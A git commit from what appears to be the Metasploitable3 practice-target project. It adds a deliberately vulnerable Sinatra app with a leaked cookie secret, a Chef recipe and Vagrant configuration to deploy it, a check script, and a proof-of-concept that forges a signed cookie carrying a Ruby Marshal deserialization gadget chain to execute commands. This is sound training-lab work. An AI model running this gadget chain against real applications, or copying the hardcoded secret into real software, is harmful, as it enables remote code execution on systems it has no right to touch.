Add Sinatra Leaked Secret Deserialization Vulnerability

This commit is contained in:
wchen-r7 2017-03-31 17:15:04 -05:00 committed by James Barnett
parent e8f4bb24a7
commit 92d0e1bc45
8 changed files with 256 additions and 120 deletions

181
Vagrantfile vendored
View File

@ -2,130 +2,71 @@
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
# Base configuration for the VM and provisioner
config.vm.box = "metasploitable3"
config.vm.hostname = "metasploitable3"
config.vm.communicator = "winrm"
config.vm.define "win2k8" do |win2k8|
# Base configuration for the VM and provisioner
win2k8.vm.box = "metasploitable3"
win2k8.vm.hostname = "metasploitable3"
win2k8.vm.communicator = "winrm"
win2k8.winrm.retry_limit = 60
win2k8.winrm.retry_delay = 10
config.vm.network "private_network", type: "dhcp"
win2k8.vm.network "private_network", type: "dhcp"
# Install Chocolatey
config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
config.vm.provision :reload # Hack to reset environment variables
# Configure Firewall to open up vulnerable services
case ENV['MS3_DIFFICULTY']
when 'easy'
config.vm.provision :shell, path: "scripts/configs/disable_firewall.bat"
else
win2k8.vm.provision :shell, path: "scripts/configs/enable_firewall.bat"
win2k8.vm.provision :shell, path: "scripts/configs/configure_firewall.bat"
end
# Install BoxStarter
config.vm.provision :shell, path: "scripts/installs/install_boxstarter.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Install 7zip
config.vm.provision :shell, path: "scripts/chocolatey_installs/7zip.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Adjust password policy
config.vm.provision :shell, path: "scripts/configs/apply_password_settings.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Add users and add to groups
config.vm.provision :shell, path: "scripts/configs/create_users.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Unpatched IIS and FTP
config.vm.provision :shell, path: "scripts/installs/setup_iis.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/setup_ftp_site.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Setup for Apache Struts
config.vm.provision :shell, path: "scripts/chocolatey_installs/java.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/chocolatey_installs/tomcat.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :reload # Hack to reset environment variables
config.vm.provision :shell, path: "scripts/installs/setup_apache_struts.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Setup for Glassfish
config.vm.provision :shell, path: "scripts/installs/setup_glassfish.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/start_glassfish_service.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Jenkins (1.8)
config.vm.provision :shell, path: "scripts/installs/setup_jenkins.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Wordpress and phpMyAdmin
# This must run after the WAMP setup.
config.vm.provision :shell, path: "scripts/chocolatey_installs/vcredist2008.bat" # Visual Studio 2008 redistributable is a requirement for WAMP
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/install_wamp.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/start_wamp.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/install_wordpress.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - JMX
config.vm.provision :shell, path: "scripts/installs/install_openjdk6.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/setup_jmx.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Rails Server
config.vm.provision :shell, path: "scripts/installs/install_ruby.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/install_devkit.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/install_rails_server.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/setup_rails_server.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.provision :shell, path: "scripts/installs/install_rails_service.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - WebDAV
# This must run after the WAMP setup.
config.vm.provision :shell, path: "scripts/installs/setup_webdav.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - MySQL
config.vm.provision :shell, path: "scripts/installs/setup_mysql.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - ManageEngine Desktop Central
config.vm.provision :shell, path: "scripts/installs/install_manageengine.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Axis2
# This must run after the Apache Struts setup.
config.vm.provision :shell, path: "scripts/installs/setup_axis2.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - Common backdoors
config.vm.provision :shell, path: "scripts/installs/install_backdoors.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Vulnerability - SNMP
config.vm.provision :shell, path: "scripts/installs/setup_snmp.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
# Configure Firewall to open up vulnerable services
case ENV['MS3_DIFFICULTY']
when 'easy'
config.vm.provision :shell, path: "scripts/configs/disable_firewall.bat"
else
config.vm.provision :shell, path: "scripts/configs/configure_firewall.bat"
# Insecure share from the Linux machine
win2k8.vm.provision :shell, path: "scripts/installs/install_share_autorun.bat"
win2k8.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
win2k8.vm.provision :shell, path: "scripts/installs/setup_linux_share.bat"
win2k8.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
end
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
config.vm.define "trusty" do |trusty|
trusty.vm.box = "rsginc/ubuntu64-14-04-1"
trusty.vm.hostname = "metasploitableUB"
# Vulnerability - ElasticSearch
# This must run after the firewall rules, because it needs to make some HTTP requests in order to
# set up the vulnerable state.
config.vm.provision :shell, path: "scripts/installs/install_elasticsearch.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614
trusty.vm.network "private_network", ip: '172.28.128.3'
# Configure flags
config.vm.provision :shell, path: "scripts/installs/install_flags.bat"
config.vm.provision :shell, inline: "rm C:\\tmp\\vagrant-shell.bat" # Hack for this bug: https://github.com/mitchellh/vagrant/issues/7614a
end
trusty.vm.provider "virtualbox" do |v|
v.name = "MetasploitableUB"
v.memory = 2048
end
config.omnibus.chef_version = :latest
# Provision with Chef Solo
#
config.vm.provision :chef_solo do |chef|
chef.cookbooks_path = [ 'chef/cookbooks' ]
chef.json = { 'metasploitable' => {
# Customizations here
}
}
chef.add_recipe "metasploitable::mysql"
chef.add_recipe "metasploitable::apache_continuum"
chef.add_recipe "metasploitable::apache"
chef.add_recipe "metasploitable::php_545"
chef.add_recipe "metasploitable::phpmyadmin"
chef.add_recipe "metasploitable::proftpd"
chef.add_recipe "metasploitable::users"
chef.add_recipe "metasploitable::docker"
chef.add_recipe "metasploitable::samba"
chef.add_recipe "metasploitable::sinatra"
chef.add_recipe "metasploitable::unrealircd"
chef.add_recipe "metasploitable::chatbot"
chef.add_recipe "metasploitable::payroll_app"
chef.add_recipe "metasploitable::readme_app"
chef.add_recipe "metasploitable::cups"
chef.add_recipe "metasploitable::drupal"
end
end
end

View File

@ -0,0 +1,6 @@
source 'https://rubygems.org'
gem 'rack', '1.6.5'
gem 'sinatra', '1.4.8'
gem 'erubis'
gem 'erubis'
gem 'activesupport'

View File

@ -0,0 +1,31 @@
==============
Description
==============
This application is vulnerable to a deserialization vulnerability due to a
compromised session secret.
Since this is a custom application, the Metasploitable player is required to
figure out what the secret is (remotely, not through code reading), and write
an exploit from scratch.
For development purposes, you can use the following scripts to test the
vulnerable service:
* check.rb - This will check if the application is vulnerable.
* poc.rb - This will attempt to exploit the application. It will create a
file named /tmp/your_id.txt
==============
Usage
==============
To start the vulnerable application, first do:
$ bundle install
And then finally:
$ ruby start.rb
The server should start on port 8080.

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
#
# This will check our vulnerable app to see if it's vulnerable or not.
# It does so by predicting the hash in the cookie.
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
cli = Net::HTTP.new('127.0.0.1', 8080)
req = Net::HTTP::Get.new('/')
res = cli.request(req)
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
data, hash = cookie.split('--')
puts "[*] Found hash: #{hash}"
puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
puts "[*] Predicted hash: #{expected_hash}"
if expected_hash == hash
puts "[*] Yay! we can predict the hash. The server is vulnerable."
end

View File

@ -0,0 +1,34 @@
#!/usr/bin/env ruby
#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = { 'session_id' => '', 'exploit' => proxy }
dump = [ Marshal.dump(session) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
http = Net::HTTP.new('127.0.0.1', 8080)
req = Net::HTTP::Get.new('/')
req['Cookie'] = cookie
res = http.request(req)
puts "Done"

View File

@ -0,0 +1,21 @@
#! /bin/sh
### BEGIN INIT INFO
# Provides: sinatra
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Sinatra
# Description: This file starts the sinatra service
#
### END INIT INFO
case "$1" in
start)
/opt/sinatra/start.rb
;;
*)
echo "Usage: start {start}" >&2
exit 3
;;
esac

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
require 'sinatra'
require 'erubis'
require 'active_support'
MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
set :environment, :development
set :bind, '0.0.0.0'
set :port, 8080
use Rack::Session::Cookie,
:key => "_metasploitable",
:path => "/",
:expire_after => 1800,
:secret => MYSECRET
get '/' do
val = "Shhhhh, don't tell anybody this cookie secret: #{MYSECRET}"
session['_metasploitable'] = val unless session['_metasploitable']
body = "Welcome to Metasploitable3 - Linux edition.<br>"
body << "If you exploit this application, you will be handsomely rewarded."
[200, {}, body]
end

View File

@ -0,0 +1,51 @@
#
# Cookbook:: sinatra
# Recipe:: sinatra
#
# Copyright:: 2017, Rapid7, All Rights Reserved.
#
#
include_recipe 'metasploitable::sinatra'
apt_repository 'rvm' do
uri 'ppa:rael-gc/rvm'
end
package 'rvm'
bash 'run rvm.sh' do
code <<-EOH
source /etc/profile.d/rvm.sh
rvmsudo rvm install ruby-2.3.1
rvm --default use 2.3.1
gem install bundler
EOH
end
directory '/opt/sinatra' do
mode '0777'
end
['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.rb'].each do |fname|
cookbook_file "/opt/sinatra/#{fname}" do
source "sinatra/#{fname}"
mode '0777'
end
end
bash 'bundle install sinatra' do
code <<-EOH
cd /opt/sinatra
bundle install
EOH
end
cookbook_file '/etc/init.d/sinatra' do
source 'sinatra/sinatra.sh'
mode '0777'
end
service 'sinatra' do
action [:enable, :start]
end